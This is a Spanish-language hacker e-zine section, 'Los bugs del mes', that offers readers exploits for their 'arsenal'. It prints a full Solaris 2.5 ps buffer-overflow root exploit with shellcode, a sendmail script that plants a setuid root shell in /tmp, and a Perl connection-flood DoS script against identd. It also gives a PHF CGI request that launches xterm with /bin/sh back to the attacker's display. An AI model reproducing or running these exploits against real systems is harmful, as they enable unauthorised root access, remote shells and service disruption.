IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 13. LOS BUGS DEL MES o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII Unos cuantos bugs con sus correspondientes exploits para que pertrecheis vuestro arsenal. Empezamos con uno dedicado a Black Wizard. Para: Solaris 2.5 Tema: Root access Patch: Manual Credits: J. Zbiciak --- ps_expl.sh: Aqui va el exploit --- #!/bin/sh # # Exploit for Solaris 2.5 /usr/bin/ps # J. Zbiciak, 5/18/97 # # change as appropriate CC=gcc # Build the "replacement message" :-) cat > ps_expl.po << E_O_F domain "SUNW_OST_OSCMD" msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n" msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025" "\343\150\220\013\200\016\222\003\240\014\224\032\200\012" "\234\003\240\024\354\073\277\354\300\043\277\364\334\043" "\277\370\300\043\277\374\202\020\040\073\221\320\040\010" "\220\033\300\017\202\020\040\001\221\320\040\010" E_O_F msgfmt -o /tmp/foo ps_expl.po # Build the C portion of the exploit cat > ps_expl.c << E_O_F /*****************************************/ /* Exploit for Solaris 2.5 /usr/bin/ps */ /* J. Zbiciak, 5/18/97 */ /*****************************************/ #include #include #include #include #define BUF_LENGTH (632) #define EXTRA (256) int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; /* ps will grok this file for the exploit code */ char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p; u_char *char_p; /* This will vary depending on your libc */ u_long proc_link=0xef70ef70; int i; /* Ojo con proc_link, la direccion debe ser la de _vuestro_ sistema */ long_p = (u_long *) buf; /* This first loop smashes the target buffer for optargs */ for (i = 0; i < (96) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* At offset 96 is the environ ptr -- be careful not to mess it up */ *long_p++=0xeffffcb0; *long_p++=0xffffffff; /* After that is the _ctype table. Filling with 0x10101010 marks the entire character set as being "uppercase printable". */ for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */ /* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */ /* build up _iob[1] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */ /* build up _iob[2] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = proc_link; /* pointer to chars in buffer */ *long_p++ = proc_link; /* pointer to buffer */ *long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */ *long_p =0; /* The following includes the invalid argument '-z' to force the usage msg to appear after the arguments have been parsed. */ execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp); perror("execle failed"); return 0; } E_O_F # Compile it $CC -o ps_expl ps_expl.c # And off we go! exec ./ps_expl --- EOF --- Descripcion y Notas: A traves de ps (programa que lista procesos activos en un sistema) se puede conseguir por un usuario local obtener acceso como root, en Solaris puede haber dos versiones de ps en /usr/bin/ y /usr/ucb/ por lo que dependiendo de si intentamos utilizarlo en una y otra puede tener que variarse ligeramente el exploit (principalemente "environ" y "proc_link") Es fundamental sobre todo que el valor de proc_link sea correcto para que el exploit funcione por lo que si no funciona, seguramente no tendreis mas que averiguar la direccion correcta que poner en la variable proc_link (venga Black Wizard, no se necesita ser un genio solo un leve desensamblado del ps y encontraras la direccion correcta en tu maquina) Por supuesto Solaris tiene mas bugs susceptibles de provocar root pero eso es otra historia. Para: Smptd v8.7-8.8.2 para Linux, FreeBSD.. Tema: Root access Patch: Fijado en nuevas versiones. Credits: Leshka Zakharoff #/bin/sh # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su # # # echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c # # echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c # # cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd /tmp/sh Descripcion y Notas: Este bug se basa en el hecho de que sendmail es un programa suid root y como tal puede ser invocado como demonio por cualquier usuario y tras ello cargar una pieza de codigo de cualquier parte por lo tanto el usuario puede mandar "seā‚¬ales" a sendmail y controlarlo con los beneficios que ello conlleva, basicamente el bug trastoca el HUP handler para permitir esto. Para: Identd [cualquier sistema con pidentd, Unix, Linux, BSD, Irix..] Tema: DOS Patch: Para OpenBSD (nueva version de pidentd] #!/usr/bin/perl # Script de ataque DoS a Ident que puede ser util para testear la # vulnerabilidad de nuestro sistema. #include use Socket; my($h,$p,$in_addr,$proto,$addr); $h = "$ARGV[0]"; $p = 6667 if (!$ARGV[1]); if (!$h) { print "Pon algun nombre de host. Ej: irc.arrakis.es\n"; } $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr); $proto = getprotobyname('tcp'); &connect; sub connect { print "Conexion en progreso:\n"; socket(S, AF_INET, SOCK_STREAM, $proto) or die $!; connect(S,$addr) or die $!; select S; $| = 1; print "Vamonos!\n"; select STDOUT; close S; &connect; } Descripcion y Notas: Well, well, well, my Michelle. Tipico ataque DoS en que peticiones masivas causan el trastorno del programa receptor. En este caso el bug aprovecha una incorrecta implementacion del codigo encargado de cerrar la conexion con el host originante. Se puede adaptar el codigo para que en lugar de intentar conectar con un servidor IRC lo haga con un servidor de otro tipo. Para: X-Windows Tema: XTERM remoto Patch: ? Credit: aCiDBiTS 1. Inicia las X Windows. 2. Pon lo siguiente: XDM XHOST ++ 3. Con el browser que tengas pon lo siguiente: GET /cgi-bin/phf?Qalias=hell%0a/usr/X11R6.3/bin/xterm%20-display %20PON.AQUI. TU.IP:0%20-C%20-e%20/bin/sh (todo esto va junto) 4. Ya esta, se supone que se te tiene que abrir una ventana con acceso directo dentro del host en forma de root. (Sin logs ni nada) La cuestion es darle al host la siguiente orden: xterm -display La.IP.Tuya:0 -C -e/bin/sh Descripcion y Notas: Este es un bug muy bueno que se encuentra en algunos servidores que usan las X Windows. Con el se puede obtener root de forma remota, la verdad es que es la mezcla de 2 exploits. En el host que he probado yo lo he hecho con el PHF. Solo necesitas tener instalado el linux con las X Windows. [//Editor//] Como ya veis no mordemos, ya que aCiDBiTS ha sido el unico en enviar un bug hemos decidido publicarlo, por cierto que las preguntas a las que hacias referencia vienen en parte contestadas en el articulo sobre telefonia movil analogica de este numero, para las otras quizas recibas respuesta pronto, las cosas de palacio...[\\Editor\\] Por este numero basta. Solo decid que vuestra colaboracion en este apartado deja "algo" que desear. :(. Solo Acidbits ha enviado un bug "publicable" aunque.. bueno, en fin, quiza el siguiente numero haya mas suerte.